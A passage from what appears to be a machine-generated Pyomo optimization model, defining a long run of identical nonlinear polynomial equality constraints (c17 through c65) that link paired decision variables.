m.c17 = Constraint(expr=-(0.0775*m.x1908*(1 - 0.000727272727272727*m.x1908) + 0.003003125*m.x1908*(1 -
0.000727272727272727*m.x1908)*(1 - 0.00145454545454545*m.x1908) + 6.0669191919192e-8*(1189.2375*
m.x1908*(1 - 0.000727272727272727*m.x1908)*(1 - 0.00145454545454545*m.x1908) - 1.86*(0.93*
m.x1908*(1 - 0.000727272727272727*m.x1908))**2 - 1.49610402*m.x1908*m.x1908*(1 -
0.000727272727272727*m.x1908)*(1 - 0.00145454545454545*m.x1908)*(1 - 0.00145454545454545*m.x1908
))) + m.x16 == 0)
m.c18 = Constraint(expr=-(0.0775*m.x1909*(1 - 0.000727272727272727*m.x1909) + 0.003003125*m.x1909*(1 -
0.000727272727272727*m.x1909)*(1 - 0.00145454545454545*m.x1909) + 6.0669191919192e-8*(1189.2375*
m.x1909*(1 - 0.000727272727272727*m.x1909)*(1 - 0.00145454545454545*m.x1909) - 1.86*(0.93*
m.x1909*(1 - 0.000727272727272727*m.x1909))**2 - 1.49610402*m.x1909*m.x1909*(1 -
0.000727272727272727*m.x1909)*(1 - 0.00145454545454545*m.x1909)*(1 - 0.00145454545454545*m.x1909
))) + m.x17 == 0)
m.c19 = Constraint(expr=-(0.0775*m.x1910*(1 - 0.000727272727272727*m.x1910) + 0.003003125*m.x1910*(1 -
0.000727272727272727*m.x1910)*(1 - 0.00145454545454545*m.x1910) + 6.0669191919192e-8*(1189.2375*
m.x1910*(1 - 0.000727272727272727*m.x1910)*(1 - 0.00145454545454545*m.x1910) - 1.86*(0.93*
m.x1910*(1 - 0.000727272727272727*m.x1910))**2 - 1.49610402*m.x1910*m.x1910*(1 -
0.000727272727272727*m.x1910)*(1 - 0.00145454545454545*m.x1910)*(1 - 0.00145454545454545*m.x1910
))) + m.x18 == 0)
m.c20 = Constraint(expr=-(0.0775*m.x1911*(1 - 0.000727272727272727*m.x1911) + 0.003003125*m.x1911*(1 -
0.000727272727272727*m.x1911)*(1 - 0.00145454545454545*m.x1911) + 6.0669191919192e-8*(1189.2375*
m.x1911*(1 - 0.000727272727272727*m.x1911)*(1 - 0.00145454545454545*m.x1911) - 1.86*(0.93*
m.x1911*(1 - 0.000727272727272727*m.x1911))**2 - 1.49610402*m.x1911*m.x1911*(1 -
0.000727272727272727*m.x1911)*(1 - 0.00145454545454545*m.x1911)*(1 - 0.00145454545454545*m.x1911
))) + m.x19 == 0)
m.c21 = Constraint(expr=-(0.0775*m.x1912*(1 - 0.000727272727272727*m.x1912) + 0.003003125*m.x1912*(1 -
0.000727272727272727*m.x1912)*(1 - 0.00145454545454545*m.x1912) + 6.0669191919192e-8*(1189.2375*
m.x1912*(1 - 0.000727272727272727*m.x1912)*(1 - 0.00145454545454545*m.x1912) - 1.86*(0.93*
m.x1912*(1 - 0.000727272727272727*m.x1912))**2 - 1.49610402*m.x1912*m.x1912*(1 -
0.000727272727272727*m.x1912)*(1 - 0.00145454545454545*m.x1912)*(1 - 0.00145454545454545*m.x1912
))) + m.x20 == 0)
m.c22 = Constraint(expr=-(0.0775*m.x1913*(1 - 0.000727272727272727*m.x1913) + 0.003003125*m.x1913*(1 -
0.000727272727272727*m.x1913)*(1 - 0.00145454545454545*m.x1913) + 6.0669191919192e-8*(1189.2375*
m.x1913*(1 - 0.000727272727272727*m.x1913)*(1 - 0.00145454545454545*m.x1913) - 1.86*(0.93*
m.x1913*(1 - 0.000727272727272727*m.x1913))**2 - 1.49610402*m.x1913*m.x1913*(1 -
0.000727272727272727*m.x1913)*(1 - 0.00145454545454545*m.x1913)*(1 - 0.00145454545454545*m.x1913
))) + m.x21 == 0)
m.c23 = Constraint(expr=-(0.0775*m.x1914*(1 - 0.000727272727272727*m.x1914) + 0.003003125*m.x1914*(1 -
0.000727272727272727*m.x1914)*(1 - 0.00145454545454545*m.x1914) + 6.0669191919192e-8*(1189.2375*
m.x1914*(1 - 0.000727272727272727*m.x1914)*(1 - 0.00145454545454545*m.x1914) - 1.86*(0.93*
m.x1914*(1 - 0.000727272727272727*m.x1914))**2 - 1.49610402*m.x1914*m.x1914*(1 -
0.000727272727272727*m.x1914)*(1 - 0.00145454545454545*m.x1914)*(1 - 0.00145454545454545*m.x1914
))) + m.x22 == 0)
m.c24 = Constraint(expr=-(0.0775*m.x1915*(1 - 0.000727272727272727*m.x1915) + 0.003003125*m.x1915*(1 -
0.000727272727272727*m.x1915)*(1 - 0.00145454545454545*m.x1915) + 6.0669191919192e-8*(1189.2375*
m.x1915*(1 - 0.000727272727272727*m.x1915)*(1 - 0.00145454545454545*m.x1915) - 1.86*(0.93*
m.x1915*(1 - 0.000727272727272727*m.x1915))**2 - 1.49610402*m.x1915*m.x1915*(1 -
0.000727272727272727*m.x1915)*(1 - 0.00145454545454545*m.x1915)*(1 - 0.00145454545454545*m.x1915
))) + m.x23 == 0)
m.c25 = Constraint(expr=-(0.0775*m.x1916*(1 - 0.000727272727272727*m.x1916) + 0.003003125*m.x1916*(1 -
0.000727272727272727*m.x1916)*(1 - 0.00145454545454545*m.x1916) + 6.0669191919192e-8*(1189.2375*
m.x1916*(1 - 0.000727272727272727*m.x1916)*(1 - 0.00145454545454545*m.x1916) - 1.86*(0.93*
m.x1916*(1 - 0.000727272727272727*m.x1916))**2 - 1.49610402*m.x1916*m.x1916*(1 -
0.000727272727272727*m.x1916)*(1 - 0.00145454545454545*m.x1916)*(1 - 0.00145454545454545*m.x1916
))) + m.x24 == 0)
m.c26 = Constraint(expr=-(0.0775*m.x1917*(1 - 0.000727272727272727*m.x1917) + 0.003003125*m.x1917*(1 -
0.000727272727272727*m.x1917)*(1 - 0.00145454545454545*m.x1917) + 6.0669191919192e-8*(1189.2375*
m.x1917*(1 - 0.000727272727272727*m.x1917)*(1 - 0.00145454545454545*m.x1917) - 1.86*(0.93*
m.x1917*(1 - 0.000727272727272727*m.x1917))**2 - 1.49610402*m.x1917*m.x1917*(1 -
0.000727272727272727*m.x1917)*(1 - 0.00145454545454545*m.x1917)*(1 - 0.00145454545454545*m.x1917
))) + m.x25 == 0)
m.c27 = Constraint(expr=-(0.0775*m.x1918*(1 - 0.000727272727272727*m.x1918) + 0.003003125*m.x1918*(1 -
0.000727272727272727*m.x1918)*(1 - 0.00145454545454545*m.x1918) + 6.0669191919192e-8*(1189.2375*
m.x1918*(1 - 0.000727272727272727*m.x1918)*(1 - 0.00145454545454545*m.x1918) - 1.86*(0.93*
m.x1918*(1 - 0.000727272727272727*m.x1918))**2 - 1.49610402*m.x1918*m.x1918*(1 -
0.000727272727272727*m.x1918)*(1 - 0.00145454545454545*m.x1918)*(1 - 0.00145454545454545*m.x1918
))) + m.x26 == 0)
m.c28 = Constraint(expr=-(0.0775*m.x1919*(1 - 0.000727272727272727*m.x1919) + 0.003003125*m.x1919*(1 -
0.000727272727272727*m.x1919)*(1 - 0.00145454545454545*m.x1919) + 6.0669191919192e-8*(1189.2375*
m.x1919*(1 - 0.000727272727272727*m.x1919)*(1 - 0.00145454545454545*m.x1919) - 1.86*(0.93*
m.x1919*(1 - 0.000727272727272727*m.x1919))**2 - 1.49610402*m.x1919*m.x1919*(1 -
0.000727272727272727*m.x1919)*(1 - 0.00145454545454545*m.x1919)*(1 - 0.00145454545454545*m.x1919
))) + m.x27 == 0)
m.c29 = Constraint(expr=-(0.0775*m.x1920*(1 - 0.000727272727272727*m.x1920) + 0.003003125*m.x1920*(1 -
0.000727272727272727*m.x1920)*(1 - 0.00145454545454545*m.x1920) + 6.0669191919192e-8*(1189.2375*
m.x1920*(1 - 0.000727272727272727*m.x1920)*(1 - 0.00145454545454545*m.x1920) - 1.86*(0.93*
m.x1920*(1 - 0.000727272727272727*m.x1920))**2 - 1.49610402*m.x1920*m.x1920*(1 -
0.000727272727272727*m.x1920)*(1 - 0.00145454545454545*m.x1920)*(1 - 0.00145454545454545*m.x1920
))) + m.x28 == 0)
m.c30 = Constraint(expr=-(0.0775*m.x1921*(1 - 0.000727272727272727*m.x1921) + 0.003003125*m.x1921*(1 -
0.000727272727272727*m.x1921)*(1 - 0.00145454545454545*m.x1921) + 6.0669191919192e-8*(1189.2375*
m.x1921*(1 - 0.000727272727272727*m.x1921)*(1 - 0.00145454545454545*m.x1921) - 1.86*(0.93*
m.x1921*(1 - 0.000727272727272727*m.x1921))**2 - 1.49610402*m.x1921*m.x1921*(1 -
0.000727272727272727*m.x1921)*(1 - 0.00145454545454545*m.x1921)*(1 - 0.00145454545454545*m.x1921
))) + m.x29 == 0)
m.c31 = Constraint(expr=-(0.0775*m.x1922*(1 - 0.000727272727272727*m.x1922) + 0.003003125*m.x1922*(1 -
0.000727272727272727*m.x1922)*(1 - 0.00145454545454545*m.x1922) + 6.0669191919192e-8*(1189.2375*
m.x1922*(1 - 0.000727272727272727*m.x1922)*(1 - 0.00145454545454545*m.x1922) - 1.86*(0.93*
m.x1922*(1 - 0.000727272727272727*m.x1922))**2 - 1.49610402*m.x1922*m.x1922*(1 -
0.000727272727272727*m.x1922)*(1 - 0.00145454545454545*m.x1922)*(1 - 0.00145454545454545*m.x1922
))) + m.x30 == 0)
m.c32 = Constraint(expr=-(0.0775*m.x1923*(1 - 0.000727272727272727*m.x1923) + 0.003003125*m.x1923*(1 -
0.000727272727272727*m.x1923)*(1 - 0.00145454545454545*m.x1923) + 6.0669191919192e-8*(1189.2375*
m.x1923*(1 - 0.000727272727272727*m.x1923)*(1 - 0.00145454545454545*m.x1923) - 1.86*(0.93*
m.x1923*(1 - 0.000727272727272727*m.x1923))**2 - 1.49610402*m.x1923*m.x1923*(1 -
0.000727272727272727*m.x1923)*(1 - 0.00145454545454545*m.x1923)*(1 - 0.00145454545454545*m.x1923
))) + m.x31 == 0)
m.c33 = Constraint(expr=-(0.0775*m.x1924*(1 - 0.000727272727272727*m.x1924) + 0.003003125*m.x1924*(1 -
0.000727272727272727*m.x1924)*(1 - 0.00145454545454545*m.x1924) + 6.0669191919192e-8*(1189.2375*
m.x1924*(1 - 0.000727272727272727*m.x1924)*(1 - 0.00145454545454545*m.x1924) - 1.86*(0.93*
m.x1924*(1 - 0.000727272727272727*m.x1924))**2 - 1.49610402*m.x1924*m.x1924*(1 -
0.000727272727272727*m.x1924)*(1 - 0.00145454545454545*m.x1924)*(1 - 0.00145454545454545*m.x1924
))) + m.x32 == 0)
m.c34 = Constraint(expr=-(0.0775*m.x1925*(1 - 0.000727272727272727*m.x1925) + 0.003003125*m.x1925*(1 -
0.000727272727272727*m.x1925)*(1 - 0.00145454545454545*m.x1925) + 6.0669191919192e-8*(1189.2375*
m.x1925*(1 - 0.000727272727272727*m.x1925)*(1 - 0.00145454545454545*m.x1925) - 1.86*(0.93*
m.x1925*(1 - 0.000727272727272727*m.x1925))**2 - 1.49610402*m.x1925*m.x1925*(1 -
0.000727272727272727*m.x1925)*(1 - 0.00145454545454545*m.x1925)*(1 - 0.00145454545454545*m.x1925
))) + m.x33 == 0)
m.c35 = Constraint(expr=-(0.0775*m.x1926*(1 - 0.000727272727272727*m.x1926) + 0.003003125*m.x1926*(1 -
0.000727272727272727*m.x1926)*(1 - 0.00145454545454545*m.x1926) + 6.0669191919192e-8*(1189.2375*
m.x1926*(1 - 0.000727272727272727*m.x1926)*(1 - 0.00145454545454545*m.x1926) - 1.86*(0.93*
m.x1926*(1 - 0.000727272727272727*m.x1926))**2 - 1.49610402*m.x1926*m.x1926*(1 -
0.000727272727272727*m.x1926)*(1 - 0.00145454545454545*m.x1926)*(1 - 0.00145454545454545*m.x1926
))) + m.x34 == 0)
m.c36 = Constraint(expr=-(0.0775*m.x1927*(1 - 0.000727272727272727*m.x1927) + 0.003003125*m.x1927*(1 -
0.000727272727272727*m.x1927)*(1 - 0.00145454545454545*m.x1927) + 6.0669191919192e-8*(1189.2375*
m.x1927*(1 - 0.000727272727272727*m.x1927)*(1 - 0.00145454545454545*m.x1927) - 1.86*(0.93*
m.x1927*(1 - 0.000727272727272727*m.x1927))**2 - 1.49610402*m.x1927*m.x1927*(1 -
0.000727272727272727*m.x1927)*(1 - 0.00145454545454545*m.x1927)*(1 - 0.00145454545454545*m.x1927
))) + m.x35 == 0)
m.c37 = Constraint(expr=-(0.0775*m.x1928*(1 - 0.000727272727272727*m.x1928) + 0.003003125*m.x1928*(1 -
0.000727272727272727*m.x1928)*(1 - 0.00145454545454545*m.x1928) + 6.0669191919192e-8*(1189.2375*
m.x1928*(1 - 0.000727272727272727*m.x1928)*(1 - 0.00145454545454545*m.x1928) - 1.86*(0.93*
m.x1928*(1 - 0.000727272727272727*m.x1928))**2 - 1.49610402*m.x1928*m.x1928*(1 -
0.000727272727272727*m.x1928)*(1 - 0.00145454545454545*m.x1928)*(1 - 0.00145454545454545*m.x1928
))) + m.x36 == 0)
m.c38 = Constraint(expr=-(0.0775*m.x1929*(1 - 0.000727272727272727*m.x1929) + 0.003003125*m.x1929*(1 -
0.000727272727272727*m.x1929)*(1 - 0.00145454545454545*m.x1929) + 6.0669191919192e-8*(1189.2375*
m.x1929*(1 - 0.000727272727272727*m.x1929)*(1 - 0.00145454545454545*m.x1929) - 1.86*(0.93*
m.x1929*(1 - 0.000727272727272727*m.x1929))**2 - 1.49610402*m.x1929*m.x1929*(1 -
0.000727272727272727*m.x1929)*(1 - 0.00145454545454545*m.x1929)*(1 - 0.00145454545454545*m.x1929
))) + m.x37 == 0)
m.c39 = Constraint(expr=-(0.0775*m.x1930*(1 - 0.000727272727272727*m.x1930) + 0.003003125*m.x1930*(1 -
0.000727272727272727*m.x1930)*(1 - 0.00145454545454545*m.x1930) + 6.0669191919192e-8*(1189.2375*
m.x1930*(1 - 0.000727272727272727*m.x1930)*(1 - 0.00145454545454545*m.x1930) - 1.86*(0.93*
m.x1930*(1 - 0.000727272727272727*m.x1930))**2 - 1.49610402*m.x1930*m.x1930*(1 -
0.000727272727272727*m.x1930)*(1 - 0.00145454545454545*m.x1930)*(1 - 0.00145454545454545*m.x1930
))) + m.x38 == 0)
m.c40 = Constraint(expr=-(0.0775*m.x1931*(1 - 0.000727272727272727*m.x1931) + 0.003003125*m.x1931*(1 -
0.000727272727272727*m.x1931)*(1 - 0.00145454545454545*m.x1931) + 6.0669191919192e-8*(1189.2375*
m.x1931*(1 - 0.000727272727272727*m.x1931)*(1 - 0.00145454545454545*m.x1931) - 1.86*(0.93*
m.x1931*(1 - 0.000727272727272727*m.x1931))**2 - 1.49610402*m.x1931*m.x1931*(1 -
0.000727272727272727*m.x1931)*(1 - 0.00145454545454545*m.x1931)*(1 - 0.00145454545454545*m.x1931
))) + m.x39 == 0)
m.c41 = Constraint(expr=-(0.0775*m.x1932*(1 - 0.000727272727272727*m.x1932) + 0.003003125*m.x1932*(1 -
0.000727272727272727*m.x1932)*(1 - 0.00145454545454545*m.x1932) + 6.0669191919192e-8*(1189.2375*
m.x1932*(1 - 0.000727272727272727*m.x1932)*(1 - 0.00145454545454545*m.x1932) - 1.86*(0.93*
m.x1932*(1 - 0.000727272727272727*m.x1932))**2 - 1.49610402*m.x1932*m.x1932*(1 -
0.000727272727272727*m.x1932)*(1 - 0.00145454545454545*m.x1932)*(1 - 0.00145454545454545*m.x1932
))) + m.x40 == 0)
m.c42 = Constraint(expr=-(0.0775*m.x1933*(1 - 0.000727272727272727*m.x1933) + 0.003003125*m.x1933*(1 -
0.000727272727272727*m.x1933)*(1 - 0.00145454545454545*m.x1933) + 6.0669191919192e-8*(1189.2375*
m.x1933*(1 - 0.000727272727272727*m.x1933)*(1 - 0.00145454545454545*m.x1933) - 1.86*(0.93*
m.x1933*(1 - 0.000727272727272727*m.x1933))**2 - 1.49610402*m.x1933*m.x1933*(1 -
0.000727272727272727*m.x1933)*(1 - 0.00145454545454545*m.x1933)*(1 - 0.00145454545454545*m.x1933
))) + m.x41 == 0)
m.c43 = Constraint(expr=-(0.0775*m.x1934*(1 - 0.000727272727272727*m.x1934) + 0.003003125*m.x1934*(1 -
0.000727272727272727*m.x1934)*(1 - 0.00145454545454545*m.x1934) + 6.0669191919192e-8*(1189.2375*
m.x1934*(1 - 0.000727272727272727*m.x1934)*(1 - 0.00145454545454545*m.x1934) - 1.86*(0.93*
m.x1934*(1 - 0.000727272727272727*m.x1934))**2 - 1.49610402*m.x1934*m.x1934*(1 -
0.000727272727272727*m.x1934)*(1 - 0.00145454545454545*m.x1934)*(1 - 0.00145454545454545*m.x1934
))) + m.x42 == 0)
m.c44 = Constraint(expr=-(0.0775*m.x1935*(1 - 0.000727272727272727*m.x1935) + 0.003003125*m.x1935*(1 -
0.000727272727272727*m.x1935)*(1 - 0.00145454545454545*m.x1935) + 6.0669191919192e-8*(1189.2375*
m.x1935*(1 - 0.000727272727272727*m.x1935)*(1 - 0.00145454545454545*m.x1935) - 1.86*(0.93*
m.x1935*(1 - 0.000727272727272727*m.x1935))**2 - 1.49610402*m.x1935*m.x1935*(1 -
0.000727272727272727*m.x1935)*(1 - 0.00145454545454545*m.x1935)*(1 - 0.00145454545454545*m.x1935
))) + m.x43 == 0)
m.c45 = Constraint(expr=-(0.0775*m.x1936*(1 - 0.000727272727272727*m.x1936) + 0.003003125*m.x1936*(1 -
0.000727272727272727*m.x1936)*(1 - 0.00145454545454545*m.x1936) + 6.0669191919192e-8*(1189.2375*
m.x1936*(1 - 0.000727272727272727*m.x1936)*(1 - 0.00145454545454545*m.x1936) - 1.86*(0.93*
m.x1936*(1 - 0.000727272727272727*m.x1936))**2 - 1.49610402*m.x1936*m.x1936*(1 -
0.000727272727272727*m.x1936)*(1 - 0.00145454545454545*m.x1936)*(1 - 0.00145454545454545*m.x1936
))) + m.x44 == 0)
m.c46 = Constraint(expr=-(0.0775*m.x1937*(1 - 0.000727272727272727*m.x1937) + 0.003003125*m.x1937*(1 -
0.000727272727272727*m.x1937)*(1 - 0.00145454545454545*m.x1937) + 6.0669191919192e-8*(1189.2375*
m.x1937*(1 - 0.000727272727272727*m.x1937)*(1 - 0.00145454545454545*m.x1937) - 1.86*(0.93*
m.x1937*(1 - 0.000727272727272727*m.x1937))**2 - 1.49610402*m.x1937*m.x1937*(1 -
0.000727272727272727*m.x1937)*(1 - 0.00145454545454545*m.x1937)*(1 - 0.00145454545454545*m.x1937
))) + m.x45 == 0)
m.c47 = Constraint(expr=-(0.0775*m.x1938*(1 - 0.000727272727272727*m.x1938) + 0.003003125*m.x1938*(1 -
0.000727272727272727*m.x1938)*(1 - 0.00145454545454545*m.x1938) + 6.0669191919192e-8*(1189.2375*
m.x1938*(1 - 0.000727272727272727*m.x1938)*(1 - 0.00145454545454545*m.x1938) - 1.86*(0.93*
m.x1938*(1 - 0.000727272727272727*m.x1938))**2 - 1.49610402*m.x1938*m.x1938*(1 -
0.000727272727272727*m.x1938)*(1 - 0.00145454545454545*m.x1938)*(1 - 0.00145454545454545*m.x1938
))) + m.x46 == 0)
m.c48 = Constraint(expr=-(0.0775*m.x1939*(1 - 0.000727272727272727*m.x1939) + 0.003003125*m.x1939*(1 -
0.000727272727272727*m.x1939)*(1 - 0.00145454545454545*m.x1939) + 6.0669191919192e-8*(1189.2375*
m.x1939*(1 - 0.000727272727272727*m.x1939)*(1 - 0.00145454545454545*m.x1939) - 1.86*(0.93*
m.x1939*(1 - 0.000727272727272727*m.x1939))**2 - 1.49610402*m.x1939*m.x1939*(1 -
0.000727272727272727*m.x1939)*(1 - 0.00145454545454545*m.x1939)*(1 - 0.00145454545454545*m.x1939
))) + m.x47 == 0)
m.c49 = Constraint(expr=-(0.0775*m.x1940*(1 - 0.000727272727272727*m.x1940) + 0.003003125*m.x1940*(1 -
0.000727272727272727*m.x1940)*(1 - 0.00145454545454545*m.x1940) + 6.0669191919192e-8*(1189.2375*
m.x1940*(1 - 0.000727272727272727*m.x1940)*(1 - 0.00145454545454545*m.x1940) - 1.86*(0.93*
m.x1940*(1 - 0.000727272727272727*m.x1940))**2 - 1.49610402*m.x1940*m.x1940*(1 -
0.000727272727272727*m.x1940)*(1 - 0.00145454545454545*m.x1940)*(1 - 0.00145454545454545*m.x1940
))) + m.x48 == 0)
m.c50 = Constraint(expr=-(0.0775*m.x1941*(1 - 0.000727272727272727*m.x1941) + 0.003003125*m.x1941*(1 -
0.000727272727272727*m.x1941)*(1 - 0.00145454545454545*m.x1941) + 6.0669191919192e-8*(1189.2375*
m.x1941*(1 - 0.000727272727272727*m.x1941)*(1 - 0.00145454545454545*m.x1941) - 1.86*(0.93*
m.x1941*(1 - 0.000727272727272727*m.x1941))**2 - 1.49610402*m.x1941*m.x1941*(1 -
0.000727272727272727*m.x1941)*(1 - 0.00145454545454545*m.x1941)*(1 - 0.00145454545454545*m.x1941
))) + m.x49 == 0)
m.c51 = Constraint(expr=-(0.0775*m.x1942*(1 - 0.000727272727272727*m.x1942) + 0.003003125*m.x1942*(1 -
0.000727272727272727*m.x1942)*(1 - 0.00145454545454545*m.x1942) + 6.0669191919192e-8*(1189.2375*
m.x1942*(1 - 0.000727272727272727*m.x1942)*(1 - 0.00145454545454545*m.x1942) - 1.86*(0.93*
m.x1942*(1 - 0.000727272727272727*m.x1942))**2 - 1.49610402*m.x1942*m.x1942*(1 -
0.000727272727272727*m.x1942)*(1 - 0.00145454545454545*m.x1942)*(1 - 0.00145454545454545*m.x1942
))) + m.x50 == 0)
m.c52 = Constraint(expr=-(0.0775*m.x1943*(1 - 0.000727272727272727*m.x1943) + 0.003003125*m.x1943*(1 -
0.000727272727272727*m.x1943)*(1 - 0.00145454545454545*m.x1943) + 6.0669191919192e-8*(1189.2375*
m.x1943*(1 - 0.000727272727272727*m.x1943)*(1 - 0.00145454545454545*m.x1943) - 1.86*(0.93*
m.x1943*(1 - 0.000727272727272727*m.x1943))**2 - 1.49610402*m.x1943*m.x1943*(1 -
0.000727272727272727*m.x1943)*(1 - 0.00145454545454545*m.x1943)*(1 - 0.00145454545454545*m.x1943
))) + m.x51 == 0)
m.c53 = Constraint(expr=-(0.0775*m.x1944*(1 - 0.000727272727272727*m.x1944) + 0.003003125*m.x1944*(1 -
0.000727272727272727*m.x1944)*(1 - 0.00145454545454545*m.x1944) + 6.0669191919192e-8*(1189.2375*
m.x1944*(1 - 0.000727272727272727*m.x1944)*(1 - 0.00145454545454545*m.x1944) - 1.86*(0.93*
m.x1944*(1 - 0.000727272727272727*m.x1944))**2 - 1.49610402*m.x1944*m.x1944*(1 -
0.000727272727272727*m.x1944)*(1 - 0.00145454545454545*m.x1944)*(1 - 0.00145454545454545*m.x1944
))) + m.x52 == 0)
m.c54 = Constraint(expr=-(0.0775*m.x1945*(1 - 0.000727272727272727*m.x1945) + 0.003003125*m.x1945*(1 -
0.000727272727272727*m.x1945)*(1 - 0.00145454545454545*m.x1945) + 6.0669191919192e-8*(1189.2375*
m.x1945*(1 - 0.000727272727272727*m.x1945)*(1 - 0.00145454545454545*m.x1945) - 1.86*(0.93*
m.x1945*(1 - 0.000727272727272727*m.x1945))**2 - 1.49610402*m.x1945*m.x1945*(1 -
0.000727272727272727*m.x1945)*(1 - 0.00145454545454545*m.x1945)*(1 - 0.00145454545454545*m.x1945
))) + m.x53 == 0)
m.c55 = Constraint(expr=-(0.0775*m.x1946*(1 - 0.000727272727272727*m.x1946) + 0.003003125*m.x1946*(1 -
0.000727272727272727*m.x1946)*(1 - 0.00145454545454545*m.x1946) + 6.0669191919192e-8*(1189.2375*
m.x1946*(1 - 0.000727272727272727*m.x1946)*(1 - 0.00145454545454545*m.x1946) - 1.86*(0.93*
m.x1946*(1 - 0.000727272727272727*m.x1946))**2 - 1.49610402*m.x1946*m.x1946*(1 -
0.000727272727272727*m.x1946)*(1 - 0.00145454545454545*m.x1946)*(1 - 0.00145454545454545*m.x1946
))) + m.x54 == 0)
m.c56 = Constraint(expr=-(0.0775*m.x1947*(1 - 0.000727272727272727*m.x1947) + 0.003003125*m.x1947*(1 -
0.000727272727272727*m.x1947)*(1 - 0.00145454545454545*m.x1947) + 6.0669191919192e-8*(1189.2375*
m.x1947*(1 - 0.000727272727272727*m.x1947)*(1 - 0.00145454545454545*m.x1947) - 1.86*(0.93*
m.x1947*(1 - 0.000727272727272727*m.x1947))**2 - 1.49610402*m.x1947*m.x1947*(1 -
0.000727272727272727*m.x1947)*(1 - 0.00145454545454545*m.x1947)*(1 - 0.00145454545454545*m.x1947
))) + m.x55 == 0)
m.c57 = Constraint(expr=-(0.0775*m.x1948*(1 - 0.000727272727272727*m.x1948) + 0.003003125*m.x1948*(1 -
0.000727272727272727*m.x1948)*(1 - 0.00145454545454545*m.x1948) + 6.0669191919192e-8*(1189.2375*
m.x1948*(1 - 0.000727272727272727*m.x1948)*(1 - 0.00145454545454545*m.x1948) - 1.86*(0.93*
m.x1948*(1 - 0.000727272727272727*m.x1948))**2 - 1.49610402*m.x1948*m.x1948*(1 -
0.000727272727272727*m.x1948)*(1 - 0.00145454545454545*m.x1948)*(1 - 0.00145454545454545*m.x1948
))) + m.x56 == 0)
m.c58 = Constraint(expr=-(0.0775*m.x1949*(1 - 0.000727272727272727*m.x1949) + 0.003003125*m.x1949*(1 -
0.000727272727272727*m.x1949)*(1 - 0.00145454545454545*m.x1949) + 6.0669191919192e-8*(1189.2375*
m.x1949*(1 - 0.000727272727272727*m.x1949)*(1 - 0.00145454545454545*m.x1949) - 1.86*(0.93*
m.x1949*(1 - 0.000727272727272727*m.x1949))**2 - 1.49610402*m.x1949*m.x1949*(1 -
0.000727272727272727*m.x1949)*(1 - 0.00145454545454545*m.x1949)*(1 - 0.00145454545454545*m.x1949
))) + m.x57 == 0)
m.c59 = Constraint(expr=-(0.0775*m.x1950*(1 - 0.000727272727272727*m.x1950) + 0.003003125*m.x1950*(1 -
0.000727272727272727*m.x1950)*(1 - 0.00145454545454545*m.x1950) + 6.0669191919192e-8*(1189.2375*
m.x1950*(1 - 0.000727272727272727*m.x1950)*(1 - 0.00145454545454545*m.x1950) - 1.86*(0.93*
m.x1950*(1 - 0.000727272727272727*m.x1950))**2 - 1.49610402*m.x1950*m.x1950*(1 -
0.000727272727272727*m.x1950)*(1 - 0.00145454545454545*m.x1950)*(1 - 0.00145454545454545*m.x1950
))) + m.x58 == 0)
m.c60 = Constraint(expr=-(0.0775*m.x1951*(1 - 0.000727272727272727*m.x1951) + 0.003003125*m.x1951*(1 -
0.000727272727272727*m.x1951)*(1 - 0.00145454545454545*m.x1951) + 6.0669191919192e-8*(1189.2375*
m.x1951*(1 - 0.000727272727272727*m.x1951)*(1 - 0.00145454545454545*m.x1951) - 1.86*(0.93*
m.x1951*(1 - 0.000727272727272727*m.x1951))**2 - 1.49610402*m.x1951*m.x1951*(1 -
0.000727272727272727*m.x1951)*(1 - 0.00145454545454545*m.x1951)*(1 - 0.00145454545454545*m.x1951
))) + m.x59 == 0)
m.c61 = Constraint(expr=-(0.0775*m.x1952*(1 - 0.000727272727272727*m.x1952) + 0.003003125*m.x1952*(1 -
0.000727272727272727*m.x1952)*(1 - 0.00145454545454545*m.x1952) + 6.0669191919192e-8*(1189.2375*
m.x1952*(1 - 0.000727272727272727*m.x1952)*(1 - 0.00145454545454545*m.x1952) - 1.86*(0.93*
m.x1952*(1 - 0.000727272727272727*m.x1952))**2 - 1.49610402*m.x1952*m.x1952*(1 -
0.000727272727272727*m.x1952)*(1 - 0.00145454545454545*m.x1952)*(1 - 0.00145454545454545*m.x1952
))) + m.x60 == 0)
m.c62 = Constraint(expr=-(0.0775*m.x1953*(1 - 0.000727272727272727*m.x1953) + 0.003003125*m.x1953*(1 -
0.000727272727272727*m.x1953)*(1 - 0.00145454545454545*m.x1953) + 6.0669191919192e-8*(1189.2375*
m.x1953*(1 - 0.000727272727272727*m.x1953)*(1 - 0.00145454545454545*m.x1953) - 1.86*(0.93*
m.x1953*(1 - 0.000727272727272727*m.x1953))**2 - 1.49610402*m.x1953*m.x1953*(1 -
0.000727272727272727*m.x1953)*(1 - 0.00145454545454545*m.x1953)*(1 - 0.00145454545454545*m.x1953
))) + m.x61 == 0)
m.c63 = Constraint(expr=-(0.0775*m.x1954*(1 - 0.000727272727272727*m.x1954) + 0.003003125*m.x1954*(1 -
0.000727272727272727*m.x1954)*(1 - 0.00145454545454545*m.x1954) + 6.0669191919192e-8*(1189.2375*
m.x1954*(1 - 0.000727272727272727*m.x1954)*(1 - 0.00145454545454545*m.x1954) - 1.86*(0.93*
m.x1954*(1 - 0.000727272727272727*m.x1954))**2 - 1.49610402*m.x1954*m.x1954*(1 -
0.000727272727272727*m.x1954)*(1 - 0.00145454545454545*m.x1954)*(1 - 0.00145454545454545*m.x1954
))) + m.x62 == 0)
m.c64 = Constraint(expr=-(0.0775*m.x1955*(1 - 0.000727272727272727*m.x1955) + 0.003003125*m.x1955*(1 -
0.000727272727272727*m.x1955)*(1 - 0.00145454545454545*m.x1955) + 6.0669191919192e-8*(1189.2375*
m.x1955*(1 - 0.000727272727272727*m.x1955)*(1 - 0.00145454545454545*m.x1955) - 1.86*(0.93*
m.x1955*(1 - 0.000727272727272727*m.x1955))**2 - 1.49610402*m.x1955*m.x1955*(1 -
0.000727272727272727*m.x1955)*(1 - 0.00145454545454545*m.x1955)*(1 - 0.00145454545454545*m.x1955
))) + m.x63 == 0)
m.c65 = Constraint(expr=-(0.0775*m.x1956*(1 - 0.000727272727272727*m.x1956) + 0.003003125*m.x1956*(1 -
0.000727272727272727*m.x1956)*(1 - 0.00145454545454545*m.x1956) + 6.0669191919192e-8*(1189.2375*
m.x1956*(1 - 0.000727272727272727*m.x1956)*(1 - 0.00145454545454545*m.x1956) - 1.86*(0.93*
m.x1956*(1 - 0.000727272727272727*m.x1956))**2 - 1.49610402*m.x1956*m.x1956*(1 -
0.000727272727272727*m.x1956)*(1 - 0.00145454545454545*m.x1956)*(1 - 0.00145454545454545*m.x1956
))) + m.x64 == 0)
